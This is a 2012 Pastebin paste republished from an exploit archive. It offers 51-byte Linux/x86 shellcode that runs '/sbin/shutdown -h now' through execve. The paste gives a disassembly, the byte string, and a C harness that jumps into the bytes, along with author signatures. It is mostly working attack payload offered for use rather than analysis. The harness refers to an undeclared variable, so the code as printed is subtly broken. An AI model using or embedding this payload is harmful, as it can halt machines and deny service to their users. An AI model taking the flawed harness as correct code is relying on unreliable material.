TrOoN

Backbox Linux/x86 shutdown shellcode 51 byte ( lunix )

Feb 11th, 2012
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.49 KB | None | 0 0
  1. # http://1337day.com/exploits/17513
  2.  
  3. # Title : Backbox Linux/x86 shutdown shellcode 51 byte ( lunix )
  4.  
  5. # Author : TrOoN
  6.  
  7. # E-mail : www.facebook.com/fysl.fyslm
  8.  
  9. # Home : city 617 logt Draria algeria
  10.  
  11. # Web Site : www.1337day.com
  12.  
  13. # Facebook : https://www.facebook.com/fysl.fyslm
  14.  
  15. # platform : back box lunix os
  16.  
  17. # Type : Shellcode [ assmb]
  18.  
  19. # Tested on : bacbox ENG 32 Bit
  20.  
  21. # download link : www.backbox.org
  22. ###
  23.  
  24.  
  25. ~~~~~~~~~~~~ SPICIAL to Ked Ans ~~~~~~~
  26. // this is assmb
  27. * 08048060 <_start>:
  28. * 8048060: 6a 0b push $0xb
  29. * 8048062: 58 pop %eax
  30. * 8048063: 99 cltd
  31. * 8048064: 52 push %edx
  32. * 8048065: 6a 77 push $0x77
  33. * 8048067: 66 68 6e 6f pushw $0x6f6e
  34. * 804806b: 89 e6 mov %esp,%esi
  35. * 804806d: 52 push %edx
  36. * 804806e: 66 68 2d 68 pushw $0x682d
  37. * 8048072: 89 e1 mov %esp,%ecx
  38. * 8048074: 52 push %edx
  39. * 8048075: 68 64 6f 77 6e push $0x6e776f64
  40. * 804807a: 68 73 68 75 74 push $0x74756873
  41. * 804807f: 68 69 6e 2f 2f push $0x2f2f6e69
  42. * 8048084: 68 2f 2f 73 62 push $0x62732f2f
  43. * 8048089: 89 e3 mov %esp,%ebx
  44. * 804808b: 52 push %edx
  45. * 804808c: 56 push %esi
  46. * 804808d: 51 push %ecx
  47. * 804808e: 53 push %ebx
  48. * 804808f: 89 e1 mov %esp,%ecx
  49. * 8048091: cd 80 int $0x80
  50. *
  51. */
  52. // delete this ok !! ///
  53.  
  54. main()
  55. {
  56.  
  57.  
  58.  
  59. char shellcode[] = "\x6a\x0b\x58\x99\x52\x6a\x77\x66"
  60. "\x68\x6e\x6f\x89\xe6\x52\x66\x68"
  61. "\x2d\x68\x89\xe1\x52\x68\x64\x6f"
  62. "\x77\x6e\x68\x73\x68\x75\x74\x68"
  63. "\x69\x6e\x2f\x2f\x68\x2f\x2f\x73"
  64. "\x62\x89\xe3\x52\x56\x51\x53\x89"
  65. "\xe1\xcd\x80";
  66.  
  67.  
  68. printf("Length: %d\n",strlen(shell));
  69. (*(void(*)()) shell)();
  70.  
  71. }
  72.  
  73.  
  74. /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/**/**/*//*/*/*/*/*/* Ked Ans - TroOn - all facebook frind*-*-*--*-*-*
  75. :::::::::::::::::::::::: ALGERIAN HAxoAR ::::::::::::::::::::::::::::::::::::::::::::::
  76. ~~~~ http://1337day.com/exploits/17513
Advertisement
Add Comment
Please, Sign In to add comment